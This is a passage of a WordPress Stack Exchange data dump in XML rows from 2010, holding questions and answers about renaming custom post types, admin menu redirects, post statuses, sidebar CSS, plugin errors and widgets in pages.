  <row Id="1036" PostTypeId="2" ParentId="1033" CreationDate="2010-08-30T15:30:59.507" Score="3" ViewCount="" Body="&lt;p&gt;There is no such thing as &lt;em&gt;&quot;Sub Posts&quot;&lt;/em&gt; in Wordpress already built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it could be possible that you create a plugin that is introducing &lt;em&gt;&quot;Sub Posts&quot;&lt;/em&gt; in the style you describe them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically you're not talking about subposts but about the URL-Layout. So in Wordpress you add an endpoint (&quot;changelog&quot;) that you can handle with some plugin, for example switching display to some other post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this did not properly work with endpoints but I think it's somehow fixed now. Haven't used it tough, so my answer is only informative so far.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Rewrite_API&quot; rel=&quot;nofollow&quot;&gt;Rewrite API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12779&quot; rel=&quot;nofollow&quot;&gt;Ticket #12779 - Better support for custom post types in WP_Rewrite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12605&quot; rel=&quot;nofollow&quot;&gt;Ticket #12605 - Unable to add Endpoints to custom post_types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/9476&quot; rel=&quot;nofollow&quot;&gt;Ticket #9476 - add_rewrite_endpoint() doesn't work&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/2433&quot; rel=&quot;nofollow&quot;&gt;Ticket #2433 - Provide some API for WP_Rewrite&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12935&quot; rel=&quot;nofollow&quot;&gt;Ticket #12935 - Evolve the URL Routing System&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-30T20:23:58.250" LastActivityDate="2010-08-30T20:23:58.250" CommentCount="4" />
  <row Id="1037" PostTypeId="1" AcceptedAnswerId="1038" CreationDate="2010-08-30T16:50:52.450" Score="3" ViewCount="735" Body="&lt;p&gt;I started developing a site with over a dozen custom post types. I'd like to rename a few of them, not just the display value, but the actual custom post type name. I'm worried however that by just running a SQL update query that I'll miss some places where I need to change things or overwrite part of serialized data. I have already inputed over 3,000 items, so I can't just restart with a clean database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to rename a custom post type? &#xA;How about renaming a taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2010-08-31T11:16:35.447" Title="Renaming Custom Post Types and Taxonomies" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="1038" PostTypeId="2" ParentId="1037" CreationDate="2010-08-30T17:24:58.467" Score="6" ViewCount="" Body="&lt;p&gt;SQL query for renaming the posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE  `wp_posts` SET  `post_type` =  '&amp;lt;new post type name&amp;gt;' WHERE  `post_type` = '&amp;lt;old post type name&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SQL query for renaming taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE  `wp_term_taxonomy` SET  `taxonomy` =  '&amp;lt;new taxonomy name&amp;gt;' WHERE  `taxonomy` = '&amp;lt;old taxonomy name&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should take care of all of the database areas. Just remember to match the new names in the code where the post types or taxonomies are registered. As far as I know, this is not handled in any plugins yet.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-30T17:24:58.467" CommentCount="2" />
  <row Id="1039" PostTypeId="1" AcceptedAnswerId="1042" CreationDate="2010-08-30T17:39:48.967" Score="2" ViewCount="722" Body="&lt;p&gt;Is there a way to add a arbitrary hyperlink to the WordPress admin menu (I mean the menu on the left when you log into the admin dashboard)? For example, can one add a link to Google?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my particular case, I'd like to add a styleguide page for a Wordpress theme I'm working on so I can show the user how different HTML elements are styled with the theme and to demo how to style various things nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have so far (&lt;em&gt;note: it is incomplete&lt;/em&gt;): In &lt;em&gt;functions.php&lt;/em&gt; I have added a new menu item in the &lt;em&gt;Appearance&lt;/em&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'create_theme_style_page');&#xA;&#xA;function create_theme_style_page() {&#xA;  add_theme_page('Theme Styleguide', 'Theme Styleguide', 'administrator', basename(__FILE__),'build_styleguide_page');&#xA;}&#xA;&#xA;function build_styleguide_page() {&#xA; echo &quot;Not sure what goes here to redirect admin to a arbitrary url?&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;build_styleguide_page()&lt;/code&gt;, attempting to redirect with &lt;code&gt;header()&lt;/code&gt; gives a error (&lt;em&gt;Cannot modify header information&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="24" LastEditorDisplayName="" LastEditDate="2011-02-18T07:56:14.890" LastActivityDate="2011-02-18T07:56:14.890" Title="Adding an Arbitrary Link to the Admin Menu?" Tags="&lt;themes&gt;&lt;admin&gt;&lt;custom-menus&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1040" PostTypeId="2" ParentId="1017" CreationDate="2010-08-30T17:49:21.130" Score="0" ViewCount="" Body="&lt;p&gt;If you're using WP 3.0+ you should be able to use the register_post_status() method to register the new status as public.  I don't see it in the codex yet, but below is what is documented:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Register a post type. Do not use before init.&#xA; *&#xA; * A simple function for creating or modifying a post status based on the&#xA; * parameters given. The function will accept an array (second optional&#xA; * parameter), along with a string for the post status name.&#xA; *&#xA; *&#xA; * Optional $args contents:&#xA; *&#xA; * label - A descriptive name for the post status marked for translation. Defaults to $post_status.&#xA; * public - Whether posts of this status should be shown in the admin UI. Defaults to true.&#xA; * exclude_from_search - Whether to exclude posts with this post status from search results. Defaults to true.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Post&#xA; * @since 3.0.0&#xA; * @uses $wp_post_statuses Inserts new post status object into the list&#xA; *&#xA; * @param string $post_status Name of the post status.&#xA; * @param array|string $args See above description.&#xA; */&#xA;function register_post_status($post_status, $args = array()) {....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this, you should just be able to call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_pitch_status() {&#xA;    register_post_status('pitch', array('public'=&amp;gt;true));&#xA;}&#xA;add_action('init', 'add_pitch_status');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-08-30T17:49:21.130" />
  <row Id="1041" PostTypeId="2" ParentId="1010" CreationDate="2010-08-30T18:05:07.753" Score="1" ViewCount="" Body="&lt;p&gt;My understanding of your question is that you wish there was more space between sidebar elements and the sidebar edge.  Specifically, your category dropdown and in your tag cloud.  You are on the right track:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You make these changes with your stylesheet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're original css doesn't contain any left padding, and declares the width of the div to be 227px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try introducing some left padding to your markup for &lt;code&gt;&amp;lt;div class=&quot;wdContent&quot;&amp;gt;&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wdContent{&#xA;    padding-left:5px;&#xA;    width:222px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will put 5px of space between the left sidebar edge and the left side of the content.  In return, since the div has background color, you must reduce the width of the div by the same 5px so it doesn't protrude off the right side.  This works well with your category drop down menu, but doesn't change the appearance that your tag cloud is right justified.  To accomplish that, I'd add some padding to the right of the div.  Add that to the css declaration above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wdContent{&#xA;    padding-left:5px;&#xA;    padding-right:5px;&#xA;    width: 217px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This puts 5px of space between the edge of the div and the sidebar.  Again, you must remove the same amount of space from the width of the div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play around with the amount of space and width of the div until you find what you like.  In the interest of clean code and easy updates, I recommend that you make all customizations to a theme's stylesheet in your own, separate css file.  Create a file and name it something like &quot;custom.css&quot; and save it in the theme directory.  Then edit your header.php file to include it right after the default stylesheet (usually called stylesheet.css, or style.css).  Add your declarations to the custom.css file, and they will overwrite the default styles.  Of course, this is completely optional.  At the very least, I recommend adding your own styles at the end of the default stylesheet, so you can always go back to the original design if something breaks, by commenting out you custom styles.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-30T18:05:07.753" />
  <row Id="1042" PostTypeId="2" ParentId="1039" CreationDate="2010-08-30T18:46:17.233" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Tom&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your question correctly you don't so much need to know how to add a link to the menu (it seems you already know that) but instead need to learn how to get your link to redirect correctly, right?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Redirecting to an External URL from an Admin Menu Item&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If so what you need to do is to not use the menu item function but instead &lt;em&gt;&quot;hook&quot;&lt;/em&gt; WordPress early enough such that it hasn't output anything except possibly HTTP headers. The earliest hook when calling &lt;code&gt;/wp-admin/themes.php&lt;/code&gt; appears to be &lt;code&gt;after_setup_theme&lt;/code&gt; and it appears to work well. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use a &lt;em&gt;&quot;Menu Slug&quot;&lt;/em&gt; So You Can Test for it in a Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But to get it to work we first need to modify your call to &lt;code&gt;add_theme_page&lt;/code&gt; in the &lt;code&gt;admin_menu&lt;/code&gt; hook / your &lt;code&gt;create_theme_style_page()&lt;/code&gt; function. We dropped the fifth parameter (the function to call to implement the admin option) because we don't need it, and changed the fourth parameter (the &lt;em&gt;&quot;menu slug&quot;&lt;/em&gt;) to be &lt;code&gt;themes.php?goto=build-styleguide-page&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although we could have chosen almost literally anything for the fourth parameter, given we are going to redirect I routed to the same page (&lt;code&gt;themes.php&lt;/code&gt;) as other appearance options for consistency. I also just arbitrarily came up with the name &lt;code&gt;goto&lt;/code&gt; because WordPress doesn't use it and it seems to make sense for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'create_theme_style_page');&#xA;function create_theme_style_page() {&#xA;  add_theme_page(&#xA;    'Theme Styleguide',&#xA;    'Theme Styleguide',&#xA;    'administrator',&#xA;    'themes.php?goto=build-styleguide-page'&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW, we got rid of your &lt;code&gt;build_styleguide_page()&lt;/code&gt; function because we don't need it for this solution.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Redirect in  the Earliest Hook for &lt;code&gt;themes.php&lt;/code&gt;: &lt;em&gt;&lt;code&gt;after_setup_theme&lt;/code&gt;&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As our last bit of code we implement our &lt;code&gt;after_setup_theme&lt;/code&gt; hook in our &lt;code&gt;redirect_from_admin_menu()&lt;/code&gt; function. We have it test to see if the current page is &lt;code&gt;themes.php&lt;/code&gt; and to ensure a URL parameter of &lt;code&gt;goto&lt;/code&gt; was passed on the URL. Then it tests the value of &lt;code&gt;goto&lt;/code&gt; using a &lt;code&gt;switch&lt;/code&gt;/&lt;code&gt;case&lt;/code&gt; statement to see if it has a value of  &lt;code&gt;'build-styleguide-page'&lt;/code&gt;; if so it redirects to your stated hypothetical e.g. Google otherwise we just redirect back to the admin dashboard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('after_setup_theme', 'redirect_from_admin_menu');&#xA;function redirect_from_admin_menu($value) {&#xA;  global $pagenow;&#xA;  if ($pagenow=='themes.php' &amp;amp;&amp;amp; !empty($_GET['goto'])) {&#xA;    switch ($_GET['goto']) {&#xA;      case 'build-styleguide-page':&#xA;        wp_redirect(&quot;http://www.google.com&quot;);&#xA;        break;&#xA;      default:&#xA;        wp_safe_redirect('/wp-admin/');&#xA;        break;&#xA;    }&#xA;    exit;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I chose to use the &lt;code&gt;switch&lt;/code&gt;/&lt;code&gt;case&lt;/code&gt; statement in the &lt;code&gt;after_setup_theme&lt;/code&gt; hook / &lt;code&gt;redirect_from_admin_menu()&lt;/code&gt; function so that it would be easier to add additional &lt;code&gt;goto&lt;/code&gt; redirects if you need to; just add more case statements. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &lt;code&gt;wp_redirect()&lt;/code&gt; and &lt;code&gt;wp_safe_redirect()&lt;/code&gt; functions don't actually terminate; you need to explicit issue an exit statement to get WordPress to stop and not override your redirect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T09:15:33.947" LastActivityDate="2010-08-31T09:15:33.947" CommentCount="2" />
  <row Id="1043" PostTypeId="2" ParentId="1037" CreationDate="2010-08-30T18:50:41.497" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;em&gt;@Derek Perkins:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general &lt;strong&gt;@John P Bloch's answer is spot on &lt;em&gt;but with a caveat&lt;/em&gt;&lt;/strong&gt;. Plugins and even custom themes can and may store post type information and thus in order to be sure that you won't corrupt your data you need to ensure your plugins and themes don't store post types or if they do that you update their data as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell us what plugins you are using?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-30T18:50:41.497" CommentCount="1" />
  <row Id="1044" PostTypeId="2" ParentId="1033" CreationDate="2010-08-30T19:25:49.227" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Adam:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably know all &lt;em&gt;&quot;posts&quot;&lt;/em&gt; are stored in the same database table for &lt;em&gt;&quot;Posts&quot;&lt;/em&gt;, &lt;em&gt;&quot;Pages&quot;&lt;/em&gt; and any Custom Post Types.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mention the previous to emphasize that all &lt;em&gt;&quot;posts&quot;&lt;/em&gt; have &lt;strong&gt;the field &lt;code&gt;post_parent&lt;/code&gt; available&lt;/strong&gt; and I have used it successfully to create a parent-child relationship between, for example, a &lt;code&gt;'restaurant'&lt;/code&gt; post type and a &lt;code&gt;'restaurant-location'&lt;/code&gt; post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URLs are a good bit trickier, however, and I'm a fanatic when it comes to &lt;a href=&quot;http://blog.welldesignedurls.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Well Designed URLs&lt;/strong&gt;&lt;/a&gt; so you'd know I would look into is heavily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have implemented the code to do similar to what you ask for (for the restaurant/location example) but it &lt;strong&gt;is extremely fragile&lt;/strong&gt; and has the potential &lt;strong&gt;to create unwanted side effects&lt;/strong&gt; with other plugins so I'd really fear posting it here and in effect causing people more trouble than help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While some of the more hardcore WordPress devs that frequently &lt;a href=&quot;http://core.trac.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;trac&lt;/a&gt; and the &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/&quot; rel=&quot;nofollow&quot;&gt;wp-hackers list&lt;/a&gt; don't seem to think there's much of an issue with the URL routing system everyone else I know who has actually tried to use it for any other pattern besides blogging struggles with it and finds it infuriating. That's why I submitted &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12935&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this ticket&lt;/strong&gt;&lt;/a&gt; and hope to have some dedicated time to address in the near future:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12935&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Evolve the URL Routing System&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently using Well Designed URLs is just too damn hard and fraught with peril to be a viable option. So in the short term &lt;strong&gt;I really recommend going with the standard URL layout&lt;/strong&gt; until I get enough free time to tackle it, or someone else improves WordPress's URL routing system or someone even hires me to fix it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately &lt;strong&gt;I know it wasn't the answer you were looking for&lt;/strong&gt; but it is an honest and heartfelt one.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T19:33:15.717" LastActivityDate="2010-08-30T19:33:15.717" CommentCount="1" />
  <row Id="1045" PostTypeId="2" ParentId="1033" CreationDate="2010-08-30T19:32:30.303" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Adam&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After completing the answer above it occurs to me that you might be able to achieve what you want more simply that I was first thinking by leveraging the answer a wrote in this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/858/&quot;&gt;Custom Post Type Data in Sidebar Widgets?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know the question title would not imply to you that it would be relevant but the question was in essence about &lt;em&gt;&quot;sub post&quot;&lt;/em&gt; type of information and related URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry it didn't occur to me until after I posted the answer above.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-30T19:32:30.303" />
  <row Id="1046" PostTypeId="2" ParentId="1032" CreationDate="2010-08-30T19:51:33.033" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://piwik.org/&quot; rel=&quot;nofollow&quot;&gt;Piwik&lt;/a&gt;. It runs on your own webspace, and you can give limited access to other users.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-08-30T19:51:33.033" />
  <row Id="1047" PostTypeId="1" CreationDate="2010-08-30T19:56:25.687" Score="0" ViewCount="195" Body="&lt;p&gt;When i try to de-activate any plugin it gives error, How to solve this? plugin is getting de-activated but. on clicking button &quot;Deactivate&quot; i get this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning: call_user_func_array() [function.call-user-func-array]: First argument is expected to be a valid callback, 'youtuber_uninstall'  was given in /home/username/public_html/wp-includes/plugin.php on line 395&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-08-30T20:03:02.607" LastActivityDate="2010-09-09T12:16:22.137" Title="When i try to de-activate any plugin it gives error &quot;Warning: call_user_func_array() [function.call-user-func-array]&quot;" Tags="&lt;plugins&gt;&lt;3.0.1&gt;" AnswerCount="5" CommentCount="2" />
  <row Id="1048" PostTypeId="2" ParentId="1034" CreationDate="2010-08-30T20:06:48.517" Score="2" ViewCount="" Body="&lt;p&gt;I would argue that &lt;code&gt;get_posts&lt;/code&gt; is the WP answer for your request.  Template tags have been created for use in The Loop, but it's easy enough for any WP 'hacker' to use get_posts() instead, and assign, for example: $post-&gt;post_title to a variable.  It is frustrating at first, to stop relying on The Loop, but easy enough to move past.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-30T20:06:48.517" CommentCount="2" />
  <row Id="1049" PostTypeId="2" ParentId="1047" CreationDate="2010-08-30T20:31:10.603" Score="0" ViewCount="" Body="&lt;p&gt;It's a bit of a guess because I don't know the youtuber plugin well, but it does not uninstall correctly. I remember a similar problem we had with the Breadcrumb NavXT Uninstall routine and a similar error (the function-name was naturally different). I could handle that for MU setups that time by providing a uninstall.php with the plugin. It must be still in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check that you have properly deactivated the youtuber plugin and the uninstall of it at least one-time was requested. After that, check if the plugin is still in the plugin directory. If so, rename the folder of the youtuber plugin. This should solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete the directory as well if you don't need it any longer, renaming often is faster and easier for testing. As always: Backup first.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-30T20:31:10.603" CommentCount="1" />
  <row Id="1050" PostTypeId="1" CreationDate="2010-08-30T20:57:09.837" Score="3" ViewCount="330" Body="&lt;p&gt;I am setting up a new WordPress blog and would like to include a widget in the content of a Page. I found some forums describing PHP hacks which appeared to apply to older versions. With WordPress 3.0.1 what is the best way to include a widget in a page?  &lt;/p&gt;&#xA;" OwnerUserId="476" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T06:58:55.063" LastActivityDate="2011-05-27T06:58:55.063" Title="What is the best way to include a widget in a Page?" Tags="&lt;widgets&gt;&lt;page&gt;&lt;content&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="1051" PostTypeId="1" AcceptedAnswerId="1065" CreationDate="2010-08-30T22:10:35.777" Score="1" ViewCount="1721" Body="&lt;p&gt;I am using an attachment.php file to show large versions of images that have been clicked on elsewhere.  I'd like to pull the image alt text as a caption under the image with javascript, but the alt text isn't included when when wp_get_attachment_image_src() is used.  I don't think WP has a function to retrieve it, so I need my own.  To write that function I need to know...Where is the alt text for an image stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attachment page uses &lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;, which doesn't include the alt text.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class = &quot;entry&quot;&amp;gt;&#xA;&amp;lt;?php &#xA;if ( wp_attachment_is_image( $post-&amp;gt;id ) ) : &#xA;    $att_image = wp_get_attachment_image_src( $post-&amp;gt;id, &quot;large&quot;);?&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo wp_get_attachment_url($post-&amp;gt;id); ?&amp;gt;&quot; &#xA;        title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; &#xA;        rel=&quot;attachment&quot;&amp;gt;&#xA;    &amp;lt;img class=&quot;attached_img&quot; &#xA;        src=&quot;&amp;lt;?php echo $att_image[0];?&amp;gt;&quot; &#xA;        width=&quot;&amp;lt;?php echo $att_image[1];?&amp;gt;&quot; &#xA;        height=&quot;&amp;lt;?php echo $att_image[2];?&amp;gt;&quot;  &#xA;        class=&quot;attachment-medium&quot; &#xA;        alt=&quot;&amp;lt;?php $post-&amp;gt;post_excerpt; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt; &#xA;} &amp;lt;?php endif;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class = &quot;entry&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://www.example.com/wp-content/uploads/2010/07/photo_namejpg&quot; &#xA;       title=&quot;My_Photo_Title&quot; &#xA;       rel=&quot;attachment&quot;&amp;gt;&#xA;       &amp;lt;img class=&quot;attached_img&quot; &#xA;            src=&quot;http://www.example.com/wp-content/uploads/2010/07/photo_name_and_size.jpg&quot; &#xA;            width=&quot;393&quot; &#xA;            height=&quot;500&quot;  &#xA;            class=&quot;attachment-medium&quot; &#xA;            alt=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware that the &lt;code&gt;$post-&amp;gt;post_excerpt&lt;/code&gt; is being called in the above code, but I am not sure what to replace it with to get the image's alt attribute. &lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-08-30T23:45:26.927" LastActivityDate="2011-08-06T22:45:11.520" Title="How To Retrieve An Image Attachment's Alt Text?" Tags="&lt;attachments&gt;&lt;images&gt;" AnswerCount="1" FavoriteCount="9" />
  <row Id="1052" PostTypeId="2" ParentId="1050" CreationDate="2010-08-30T23:47:27.087" Score="2" ViewCount="" Body="&lt;p&gt;This plugin might be the easy way.  &lt;a href=&quot;http://wordpress.org/extend/plugins/add-widgets-to-page/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add-widgets-to-page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But for a scratch method...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look into Theme Twenty-Ten's functions.php file and find where the dynamic sidebars are registered.  It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function twentyten_widgets_init() {&#xA;    // Area 1, located at the top of the sidebar.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Primary Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'primary-widget-area',&#xA;        'description' =&amp;gt; __( 'The primary widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 2, located below the Primary Widget Area in the sidebar. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Secondary Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'secondary-widget-area',&#xA;        'description' =&amp;gt; __( 'The secondary widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 3, located in the footer. Empty by default.&#xA;        //similar code as above&#xA;    // Area 4, located in the footer. Empty by default.&#xA;        //similar code as above&#xA;    // Area 5, located in the footer. Empty by default.&#xA;        //similar code as above&#xA;    // Area 6, located in the footer. Empty by default.&#xA;        //similar code as above&#xA;    //Your Area 7, copy area 2 above and customize it&#xA;    }&#xA;/** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */&#xA;add_action( 'widgets_init', 'twentyten_widgets_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've written in Area 7 above, as Twenty-Ten includes 6 widgetized areas.  Copy all this into your theme's functions.php if it isn't there already, and delete or add what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the following function call in your template file where you want to place your custom area 7:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(7) ) : endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, create a template file in your theme directory, and use it as the default template for a page you create in WordPress.  Go to Appearance-&gt;Widgets and drag widgets to your area 7 and they will appear on your page.  If you need another widget area (dynamic sidebar), substitute the 7 for an 8&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer was created with the help of &lt;a href=&quot;http://forum.bytesforall.com/showthread.php?t=330&quot; rel=&quot;nofollow&quot;&gt;this post 